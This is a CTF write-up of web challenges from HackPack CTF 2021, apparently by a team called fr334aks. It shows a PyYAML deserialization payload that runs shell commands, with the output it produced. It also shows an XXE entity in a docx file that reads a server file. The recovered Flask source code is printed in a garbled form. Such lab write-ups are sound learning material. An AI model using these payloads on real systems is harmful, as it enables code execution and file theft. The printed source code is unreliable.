HackPack CTF 2021

Web Writeups

Hello there we (fr334aks) took part in hackpack CTF 2021 and ended up solving all the available Web challenges, here are our writeups for them.

“N"ot “G"am"I"ng a"N"ymore in “X"mas

Challenge

Solution

  • tried a random name as password and used the network tab in dev options to inspect the requests found a post request with data as debug=0 changed that to debug=1
    as

and

which revealed the default nginx.conf file revealing a hidden directory /maybehereimportantstuff ,visiting it we are met with the flag

Flag : flag{ng1nx_m1sconf1g_c4n_b3_h4rmful}

Yaml-2-json

Challenge

Solution

full writeup for this challenge can be found here from Saudi, Yaml-2-Json

instead of repeating what he did i will just share the main.py file here :joy:

having gained RCE on the CTF instance i further deciced to explore a bit further

using the exploit as

1flag: !!python/object/apply:subprocess.check_output
2       args: [ ls -lah ]
3       kwds: { shell: true }

i was able to view all the files in the directory

 1total 36K 
 2drwxr-xr-x 1 root root 4.0K Apr 14 22:17 .
 3drwxr-xr-x 1 root root 4.0K Apr 14 22:25 ..
 4-rw-rw-r-- 1 root root   30 Apr 14 22:16 .env
 5drwxrwxr-x 6 root root 4.0K Apr 14 22:16 .venv
 6drwxrwxr-x 2 root root 4.0K Apr 14 22:16 __pycache__
 7-rw-rw-r-- 1 root root  778 Apr 14 22:16 main.py
 8-rw-r--r-- 1 root root  204 Dec  6 18:41 prestart.sh
 9-rw-rw-r-- 1 root root  131 Apr 14 22:16 requirements.txt
10drwxrwxr-x 2 root root 4.0K Apr 14 22:16 templates

decided to retrieve the source code main.py

using

1flag: !!python/object/apply:subprocess.check_output
2       args: [ cat main.py ]
3       kwds: { shell: true }

beautified code is below, enjoy your further analysis

 1from flask import Flask, render_template, make_response
 2from flask.globals import request
 3import yaml
 4import os
 5from dotenv import load_dotenv
 6
 7app = Flask(__name__)
 8@app.route('', methods = ['GET'])
 9
10def index():
11    premium = request.cookies.get('premium')
12    resp = make_response(render_template("index.html", premium = premium == 'true'))
13
14	if premium is None:
15    resp.set_cookie('premium', 'false')
16
17	return resp
18@ papp.route('', methods = ['POST'])
19
20def parse():
21    load_dotenv()
22premium = request.cookies.get('premium')
23data = request.form['yaml']
24if premium == 'true':
25    json = yaml.unsafe_load(data)
26else :
27    json = yaml.load(data, yaml.BaseLoader)
28return render_template("index.html", json = json, premium = premium == 'true')

All about resetting

Challenge

solution

Indead V1

Challenge

solution

Indead V2

Challenge

interface

Solution

  • This was a interesting challenge where we are to take advantage of a vulnerable docx parser to trigger XXE to file inclusion, armed with the flag location /var/www/flag.txt we can proceed to crack a malicious docx file that retrieves the flag for us when parsed.

started by creating a simple resume.docx file.

unzipped the file contents and changed the values of document.xml to include our payload as

our modifications to the document included <!DOCTYPE test [<!ENTITY test SYSTEM 'file:///var/www/flag.txt'>]>

and also changing our only info in the document to call our payload when parsed

<w:t xml:space="preserve">&test;</w:t></w:r>

and then later zipping the contents back before uploading

1┌─[@parrot]─[~/Desktop/CTFs/hackpack]
2└──╼ $zip resume.docx word/document.xml 
3updating: word/document.xml (deflated 59%)

uploading the malicous document as our resume gets us the flag

Flag : flag{XML_is_ancestor_0f_every7hing_do_you_agree_?}

Further Reading and references

Thank you for your time. for any errors and corrections kindly reach me on twitter @k0imet_